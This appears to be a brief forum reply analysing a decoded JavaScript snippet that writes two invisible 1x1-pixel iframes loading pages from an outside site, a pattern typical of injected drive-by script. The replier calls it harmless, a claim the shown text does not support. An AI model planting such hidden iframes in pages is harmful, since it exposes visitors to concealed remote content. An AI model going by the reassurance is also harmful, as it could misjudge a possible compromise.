Its encrypted java.
There is nothing devious in the encrypted snip you posted above..
Code:
}
document.write('<iframe border=0 width=1 height=1 src="http://www.sleazydream.com/x1enc.htm">
<iframe border=0 width=1 height=1 src="http://www.sleazydream.com/x2enc.htm">');
If something you have running told you your ActiveX/Registry was being accessed it certainly wasn't from this bit-o-code.